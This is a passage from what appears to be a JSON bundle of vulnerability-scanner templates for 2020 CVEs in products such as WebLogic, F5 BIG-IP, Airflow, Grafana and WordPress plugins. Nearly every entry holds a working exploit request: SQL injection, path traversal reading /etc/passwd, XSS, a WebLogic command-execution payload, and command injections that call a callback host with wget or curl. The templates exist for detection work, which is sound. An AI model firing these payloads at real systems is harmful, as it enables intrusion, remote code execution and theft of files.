Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/snippets.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL+--+&searchColumn=snippetName&searchOption=contains"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["[project-discovery]"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-4463","info":{"name":"IBM Maximo Asset Management Information Disclosure - XML External Entity Injection","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/os/mxperson","{{BaseURL}}/meaweb/os/mxperson"],"body":"<?xml version='1.0' encoding='UTF-8'?>\n<max:QueryMXPERSON xmlns:max='http://www.ibm.com/maximo'>\n <max:MXPERSONQuery></max:MXPERSONQuery>\n</max:QueryMXPERSON>\n","headers":{"Content-Type":"application/xml"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["QueryMXPERSONResponse","MXPERSONSet"]},{"type":"word","part":"header","words":["application/xml"]}]}]},{"id":"CVE-2020-13927","info":{"name":"Airflow Experimental <1.10.11 - REST API Auth Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/experimental/latest_runs"],"matchers":[{"type":"word","part":"body","words":["\"dag_run_url\":","\"dag_id\":","\"items\":"],"condition":"and"}]}]},{"id":"CVE-2020-11547","info":{"name":"PRTG Network Monitor <20.1.57.1745 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/public/login.htm?type=probes","{{BaseURL}}/public/login.htm?type=requests","{{BaseURL}}/public/login.htm?type=treestat"],"stop-at-first-match":true,"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_1, 'Probe #1') && contains(body_2, '<span>Configuration Requests Sent</span>')"]},{"type":"word","part":"body","words":["prtg_network_monitor","Probes","Groups"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-14750","info":{"name":"Oracle WebLogic Server - Remote Command Execution","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /console/css/%252e%252e%252fconsole.portal HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\ncmd: curl {{interactsh-url}}\nContent-Type: application/x-www-form-urlencoded\n\n_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();\nweblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();\njava.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\");\nfield.setAccessible(true);\nObject obj = field.get(adapter);\nweblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod(\"getServletRequest\").invoke(obj);\nString cmd = req.getHeader(\"cmd\");\nString[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd};\nif (cmd != null) {\n String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next();\n weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod(\"getResponse\").invoke(req);\n res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));\n res.getServletOutputStream().flush();\n res.getWriter().write(\"\");\n}executeThread.interrupt();\n\");\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"header","words":["ADMINCONSOLESESSION="]},{"type":"regex","part":"body","regex":["<html><head></head><body>(.*)</body></html>"]}]}]},{"id":"CVE-2020-8644","info":{"name":"playSMS <1.4.3 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /index.php?app=main&inc=core_auth&route=login HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\n","POST /index.php?app=main&inc=core_auth&route=login&op=login HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nX-CSRF-Token={{csrf}}&username=%7B%7B%60echo%20%27CVE-2020-8644%27%20%7C%20rev%60%7D%7D&password=\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["4468-0202-EVC"]},{"type":"status","status":[200]}],"extractors":[{"type":"xpath","name":"csrf","internal":true,"xpath":["/html/body/div[1]/div/div/table/tbody/tr[2]/td/table/tbody/tr/td/form/input"],"attribute":"value","part":"body"}]}]},{"id":"CVE-2020-13379","info":{"name":"Grafana 3.0.1-7.0.1 - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["cloudflare.com","dns"],"condition":"and"},{"type":"word","part":"header","words":["image/jpeg"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-2103","info":{"name":"Jenkins <=2.218 - Information Disclosure","severity":"medium"},"requests":[{"raw":["GET {{BaseURL}}/whoAmI/ HTTP/1.1\nHost: {{Hostname}}\n","GET {{BaseURL}}/whoAmI/ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html","x-jenkins"],"case-insensitive":true,"condition":"and"},{"type":"word","part":"body_2","words":["Cookie","SessionId: null"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"kval","kval":["x_jenkins"]}]}]},{"id":"CVE-2020-8982","info":{"name":"Citrix ShareFile StorageZones <=5.10.x - Arbitrary File Read","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/XmlPeek.aspx?dt=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini&x=/validate.ashx?requri"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-12054","info":{"name":"WordPress Catch Breadcrumb <1.5.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?s=%3Cimg%20src%3Dx%20onerror%3Dalert%28123%29%3B%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<img src=x onerror=alert(123);>","catch-breadcrumb"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-28208","info":{"name":"Rocket.Chat <3.9.1 - Information Disclosure","severity":"medium"},"requests":[{"raw":["POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/json\n\n{\"message\":\"{\\\"msg\\\":\\\"method\\\",\\\"method\\\":\\\"sendForgotPasswordEmail\\\",\\\"params\\\":[\\\"user@local.email\\\"],\\\"id\\\":\\\"3\\\"}\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"result\\\":false","\"success\":true"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-12800","info":{"name":"WordPress Contact Form 7 <1.3.3.3 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------350278735926454076983690555601\nX-Requested-With: XMLHttpRequest\n\n-----------------------------350278735926454076983690555601\nContent-Disposition: form-data; name=\"supported_type\"\n\ntxt%\n-----------------------------350278735926454076983690555601\nContent-Disposition: form-data; name=\"size_limit\"\n\n5242880\n-----------------------------350278735926454076983690555601\nContent-Disposition: form-data; name=\"action\"\n\ndnd_codedropz_upload\n-----------------------------350278735926454076983690555601\nContent-Disposition: form-data; name=\"type\"\n\nclick\n-----------------------------350278735926454076983690555601\nContent-Disposition: form-data; name=\"upload-file\"; filename=\"{{randstr}}.txt%\"\nContent-Type: application/x-httpd-php\n\nCVE-2020-12800-{{randstr}}\n-----------------------------350278735926454076983690555601--\n","GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.txt HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["CVE-2020-12800-{{randstr}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-26919","info":{"name":"NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /login.htm HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n\nsubmitId=debug&debugCmd=wget+http://{{interactsh-url}}&submitEnd=\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2020-7209","info":{"name":"LinuxKI Toolset <= 6.01 - Remote Command Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END;"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2020-17526","info":{"name":"Apache Airflow <1.10.14 - Authentication Bypass","severity":"high"},"requests":[{"raw":["GET /admin/ HTTP/1.1\nHost: {{Hostname}}\n","GET /admin/ HTTP/1.1\nHost: {{Hostname}}\nCookie: session=.eJwlzUEOwiAQRuG7zLoLpgMM9DIE6D-xqdEEdGW8u03cvy_vQ8UG5o02q_eJhcqx00YdDaKao6p5ZZe89ZyFUaPExqCF-hxWXs8Tj6tXt_rGnKpxC6vviTNiELBxErerBBZk9Zd7T4z_hOn7A0cWI94.YwJ5bw.LzJjDflCTQE2BfJ7kXcsOi49vvY\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_1, 'Redirecting...')","status_code_1 == 302"],"condition":"and"},{"type":"word","part":"body_2","words":["DAG","Recent Tasks","Users","SLA Misses","Task Instances"],"condition":"and"}]}]},{"id":"CVE-2020-15050","info":{"name":"Suprema BioStar <2.8.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/../../../../../../../../../../../../windows/win.ini"],"matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"}]}]},{"id":"CVE-2020-10548","info":{"name":"rConfig 3.9.4 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/devices.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+--+&searchColumn=n.id&searchOption=contains"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["[project-discovery]"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24312","info":{"name":"WordPress Plugin File Manager (wp-file-manager) Backup Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/uploads/wp-file-manager-pro/fm_backup/"],"matchers-condition":"and","matchers":[{"type":"word","words":["Index of","wp-content/uploads/wp-file-manager-pro/fm_backup","backup_"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-5902","info":{"name":"F5 BIG-IP TMUI - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd","{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release","{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license","{{BaseURL}}/hsqldb%0a"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:","BIG-IP release ([\\d.]+)","[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}","HSQL Database Engine Servlet"],"condition":"or"},{"type":"status","status":[200]}]},{"raw":["POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1\nHost: {{Hostname}}\n\ncommand=create%20cli%20alias%20private%20list%20command%20bash\n","POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1\nHost: {{Hostname}}\n\nfileName=%2Ftmp%2Fnonexistent&content=echo%20%27aDNsbDBfdzBSbGQK%27%20%7C%20base64%20-d\n","POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1\nHost: {{Hostname}}\n\ncommand=list%20%2Ftmp%2Fnonexistent\n","POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1\nHost: {{Hostname}}\n\ncommand=delete%20cli%20alias%20private%20list\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["h3ll0_w0Rld"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-14882","info":{"name":"Oracle Weblogic Server - Remote Command Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext('http://{{interactsh-url}}')"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["ADMINCONSOLESESSION"]},{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2020-20982","info":{"name":"shadoweb wdja v1.5.1 - Cross-Site Scripting","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["location.href='</script><script>alert(document.domain)</script>"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-22209","info":{"name":"74cms - ajax_common.php SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/plus/ajax_common.php?act=hotword&query=aa%\u9326%27%20union%20select%201,md5({{num}}),3%23%27"],"matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]}]}]},{"id":"CVE-2020-5775","info":{"name":"Canvas LMS v2020-07-29 - Blind Server-Side Request Forgery","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/external_content/retrieve/oembed?endpoint=http://{{interactsh-url}}&url=foo"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2020-19283","info":{"name":"Jeesns 1.4.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/newVersion?callback=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-15505","info":{"name":"MobileIron Core & Connector <= v10.6 & Sentry <= v9.8 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /mifs/.;/services/LogService HTTP/1.1\nHost: {{Hostname}}\nReferer: https://{{Hostname}}\nContent-Type: x-application/hessian\nConnection: close\n\n{{hex_decode('630200480004')}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/x-hessian"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-29395","info":{"name":"Wordpress EventON Calendar 3.0.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/addons/?q=%3Csvg%2Fonload%3Dalert(1)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<svg/onload=alert(1)>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-1956","info":{"name":"Apache Kylin 3.0.1 - Command Injection Vulnerability","severity":"high"},"requests":[{"raw":["POST /kylin/api/user/authentication HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic {{base64('{{username}}:' + '{{password}}')}}\n","POST /kylin/api/cubes/kylin_streaming_cube/%2031%60curl%20{{interactsh-url}}%60/migrate HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}]}]},{"id":"CVE-2020-12447","info":{"name":"Onkyo TX-NR585 Web Interface - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-16139","info":{"name":"Cisco Unified IP Conference Station 7937G - Denial-of-Service","severity":"high"},"requests":[{"raw":["POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/xml"]},{"type":"word","words":["AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-10199","info":{"name":"Sonatype Nexus Repository Manager 3 - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /service/rapture/session HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername={{base64(username)}}&password={{base64(password)}}\n","POST /service/rest/beta/repositories/bower/group HTTP/1.1\nHost: {{Hostname}}\nNX-ANTI-CSRF-TOKEN: 1\nCookie: NX-ANTI-CSRF-TOKEN=1\nContent-Type: application/json\n\n{\"name\": \"internal\", \"online\": \"true\", \"storage\": {\"blobStoreName\": \"default\", \"strictContentTypeValidation\": \"true\"}, \"group\": {\"memberNames\": [\"$\\\\A{3*3333}\"]}}\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Member repository does not exist: A9999"]},{"type":"status","status":[400]}]}]},{"id":"CVE-2020-28188","info":{"name":"TerraMaster TOS - Unauthenticated Remote Command Execution","severity":"critical"},"requests":[{"raw":["GET /include/makecvs.php?Event=%60curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'%60 HTTP/1.1\nHost: {{Hostname}}\n","GET /tos/index.php?explorer/pathList&path=%60curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'%60 HTTP/1.1\nHost: {{Hostname}}\n"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: {{useragent}}"]}]}]},{"id":"CVE-2020-5284","info":{"name":"Next.js <9.3.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/_next/static/../server/pages-manifest.json"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"regex","part":"body","regex":["\\{\"/_app\":\".*?_app\\.js\""]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11450","info":{"name":"MicroStrategy Web 10.4 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/MicroStrategyWS/happyaxis.jsp"],"redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Axis2 Happiness Page","Examining webapp configuration","Essential Components"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-2036","info":{"name":"Palo Alto Networks PAN-OS Web Interface - Cross Site-Scripting","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/unauth/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(1)%3E","{{BaseURL}}/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(1)%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<svg/onload=alert(1)>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-20285","info":{"name":"ZZcms - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /user/login.php HTTP/1.1\nHost: {{Hostname}}\nReferer: xss\"/><img src=\"#\" onerror=\"alert(document.domain)\"/>\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["fromurl\" type=\"hidden\" value=\"xss\"/><img src=\"#\" onerror=\"alert(document.domain)\"/>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11110","info":{"name":"Grafana <= 6.7.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /api/snapshots HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nReferer: {{BaseURL}}\ncontent-type: application/json\nConnection: close\n\n{\"dashboard\":{\"annotations\":{\"list\":[{\"name\":\"Annotations & Alerts\",\"enable\":true,\"iconColor\":\"rgba(0, 211, 255, 1)\",\"type\":\"dashboard\",\"builtIn\":1,\"hide\":true}]},\"editable\":true,\"gnetId\":null,\"graphTooltip\":0,\"id\":null,\"links\":[],\"panels\":[],\"schemaVersion\":18,\"snapshot\":{\"originalUrl\":\"javascript:alert('Revers3c')\",\"timestamp\":\"2020-03-30T01:24:44.529Z\"},\"style\":\"dark\",\"tags\":[],\"templating\":{\"list\":[]},\"time\":{\"from\":null,\"to\":\"2020-03-30T01:24:53.549Z\",\"raw\":{\"from\":\"6h\",\"to\":\"now\"}},\"timepicker\":{\"refresh_intervals\":[\"5s\",\"10s\",\"30s\",\"1m\",\"5m\",\"15m\",\"30m\",\"1h\",\"2h\",\"1d\"],\"time_options\":[\"5m\",\"15m\",\"1h\",\"6h\",\"12h\",\"24h\",\"2d\",\"7d\",\"30d\"]},\"timezone\":\"\",\"title\":\"Dashboard\",\"uid\":null,\"version\":0},\"name\":\"Dashboard\",\"expires\":0}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"word","part":"body","words":["\"deleteKey\":","\"deleteUrl\":"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["\"url\":\"([a-z:/0-9A-Z]+)\""],"part":"body"}]}]},{"id":"CVE-2020-0618","info":{"name":"Microsoft SQL Server Reporting Services - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/ReportServer/Pages/ReportViewer.aspx"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["view report"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-17463","info":{"name":"Fuel CMS 1.4.7 - SQL Injection","severity":"high"},"requests":[{"raw":["GET /fuel/login/ HTTP/1.1\nHost: {{Hostname}}\n","POST /fuel/login/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{RootURL}}\n\nuser_name={{username}}&password={{password}}&Login=Login&forward=\n","@timeout: 10s\nGET /fuel/pages/items/?search_term=&published=&layout=&limit=50&view_type=list&offset=0&order=asc&col=location+AND+(SELECT+1340+FROM+(SELECT(SLEEP(6)))ULQV)&fuel_inline=0 HTTP/1.1\nHost: {{Hostname}}\nX-Requested-With: XMLHttpRequest\nReferer: {{RootURL}}\n"],"payloads":{"username":["admin"],"password":["admin"]},"attack":"pitchfork","cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration>=6","status_code_3 == 200","contains(body_1, \"FUEL CMS\")"],"condition":"and"}]}]},{"id":"CVE-2020-35489","info":{"name":"WordPress Contact Form 7 - Unrestricted File Upload","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/contact-form-7/readme.txt"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["compare_versions(version, '< 5.3.2')"]},{"type":"word","part":"body","words":["Contact Form 7","== Changelog =="],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["(?m)Stable tag: ([0-9.]+)"],"internal":true},{"type":"regex","group":1,"regex":["(?m)Stable tag: ([0-9.]+)"]}]}]},{"id":"CVE-2020-13167","info":{"name":"Netsweeper <=6.4.3 - Python Code Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%27{{url_encode(hex_encode(cmd))}}%27.decode%28%27hex%27%29%29%23&timeout=5","{{BaseURL}}/webadmin/out"],"headers":{"Referer":"{{BaseURL}}/webadmin/admin/service_manager_data.php"},"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["{{rand_str}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-1943","info":{"name":"Apache OFBiz <=16.11.07 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/control/stream?contentId=%27\\%22%3E%3Csvg/onload=alert(/xss/)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<svg/onload=alert(/xss/)>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35713","info":{"name":"Belkin Linksys RE6500 <1.0.012.001 - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /goform/setSysAdm HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}/login.shtml\n\nadmuser=admin&admpass=;wget http://{{interactsh-url}};&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2020-11978","info":{"name":"Apache Airflow <=1.10.10 - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /api/experimental/test HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json\n\n{\"conf\": {\"message\": \"\\\"; touch test #\"}}\n","GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_4, \"operator\":\"BashOperator\")","contains(header_4, \"application/json\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"exec_date","group":1,"regex":["\"execution_date\":\"([0-9-A-Z:+]+)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2020-5777","info":{"name":"Magento Mass Importer <0.7.24 - Remote Auth Bypass","severity":"critical"},"requests":[{"raw":["GET /index.php/catalogsearch/advanced/result/?name=e HTTP/1.1\nHost: {{Hostname}}\nConnection: close\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Too many connections"]},{"type":"status","status":[503]}]}]},{"id":"CVE-2020-15568","info":{"name":"TerraMaster TOS <.1.29 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3E{{filename}}.txt HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n","GET /include/{{filename}}.txt HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-5410","info":{"name":"Spring Cloud Config Server - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8497","info":{"name":"Artica Pandora FMS <=7.42 - Arbitrary File Read","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/pandora_console/attachment/pandora_chat.log.json.txt"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"type\"","\"id_user\"","\"user_name\"","\"text\""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-15920","info":{"name":"Mida eFramework <=2.9.0 - Remote Command Execution","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-14413","info":{"name":"NeDi 1.9C - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Devices-Config.php?sta=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<img src=x onerror=alert(document.domain)>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-6171","info":{"name":"CLink Office 2.0 - Cross-Site 